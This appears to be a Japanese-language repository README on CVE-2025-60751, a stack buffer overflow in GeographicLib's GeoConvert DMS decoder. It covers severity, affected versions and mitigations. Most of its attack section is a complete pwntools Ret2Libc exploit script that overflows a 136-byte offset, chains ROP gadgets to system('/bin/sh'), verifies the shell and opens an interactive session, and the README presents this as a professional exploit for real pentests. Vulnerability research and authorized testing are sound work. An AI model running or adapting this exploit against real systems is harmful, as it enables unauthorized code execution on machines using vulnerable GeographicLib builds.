
技術的分析とプロフェッショナルなエクスプロイト for CVE-2025-60751、GeographicLibにおけるスタックベースのバッファオーバーフロー。pwntoolsベースのRet2Libcエクスプロイトを含み、動的ROPガジェット探索、GDB統合、および教育的ペネトレーションテストのためのエクスプロイト後の検証を備えています。
📌 このリポジトリには、CVE-2025-60751 の脆弱性の分析と技術文書が含まれています。これは、C++ ライブラリ GeographicLib における スタックベースのバッファオーバーフロー (Stack-based Buffer Overflow) の欠陥です。
この脆弱性は、GeoConvert コンポーネント内の DMS::InternalDecode 関数に存在します。
この欠陥は、ライブラリが 不正な形式または過度に長い DMS(度、分、秒)形式の座標文字列を処理しようとした際に発生し、スタック上に割り当てられたバッファの範囲外への書き込み を引き起こします。
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow (CWE-121)7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hリモートの攻撃者は、特別に細工された座標文字列を送信することで、次のことを引き起こす可能性があります:
GeographicLib を使用して座標変換を行うアプリケーションの予期しない終了(クラッシュ)を引き起こす。⚠️ 技術的注記: 現在のベクターは 可用性 (
A:H) に焦点を当てていますが、スタックカナリー、NX ビット、ASLR などの最新のメモリ保護が無効な特定の環境では、この欠陥が潜在的に 任意のコード実行 にエスカレートする可能性があります。
| 製品 | 脆弱なバージョン | 検出されたディストリビューション |
|---|---|---|
GeographicLib | 2.5 | Debian LTS、Ubuntu、およびこのバージョンを統合したその他の Linux リポジトリのパッケージ |
✅ アップデート: InternalDecode の長さ検証が修正された最新バージョンの GeographicLib にアップデートすることを強く推奨します。
✅ 入力検証: アップデートが不可能な場合は、DMS::Decode に送信される文字列の長さを制限するサニタイズレイヤーを実装してください(例:最大 32 文字)。
✅ 安全なコンパイル: スタック保護フラグを有効にしてライブラリをコンパイルしてください:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0matt による技術分析このエクスプロイトは pwntools を使用し、バッファオーバーフローを利用した Ret2Libc 攻撃を実行します。
基本的なバージョンとは異なり、この実装は 堅牢で動的かつ検証可能 であり、実際のペンテスト環境やラボ環境に対応しています。
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# 作成者: 堅牢性のためにリファクタリング
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. プロセス管理 (ローカル vs リモート)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN は適切に管理しないとオフセットに干渉する可能性がある
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. 動的ガジェット検出
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. ASLR バイパスのためのメモリリーク
# 実際の環境では: leak + libc-database または libc.rip を使用。
# ここでは制御されたラボ環境(ASLR=off)のみのために固定ベースを使用。
LIBC_BASE = 0x7ffff7a00000 # 例 — 本番環境では動的にすべき!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. ペイロードの構築 (クリーンかつアラインされた構造)
offset = 136
chain = [
b"A" * offset,
p64(RET), # スタックアライメント (最新の Ubuntu/Debian で重要)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. 実行と検証
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ 免責事項
このリポジトリは、サイバーセキュリティ専門家向けの 純粋に情報提供と教育目的 です。
この情報を不正な目的で使用する場合は、利用者の単独責任 となります。
❗ コードは注意して使用してください:許可された隔離環境で、明示的な許可を得た場合のみ。
🔐 セキュリティは機能ではなく、規律です。
📬 脆弱性の報告: [email protected]
📦 公式リポジトリ: https://github.com/geographiclib/geographiclib
| 機能 | 利点 |
|---|
動的 ROP(elf) | ハードコードされたガジェットに依存せず、バイナリから自動的に検出。 |
GDB の統合サポート | python exploit.py GDB を実行 → 自動的にデバッグセッションを開始。 |
| エクスプロイト後の確認 | id を送信し、対話型制御を渡す前にシェルを確認。 |
スタックアライメント用 RET | アライメントの誤りによる system() のクラッシュを防止(x64 で重要)。 |
list + b"".join() による構造化ペイロード | クリーンで読みやすく、変更や拡張が容易。 |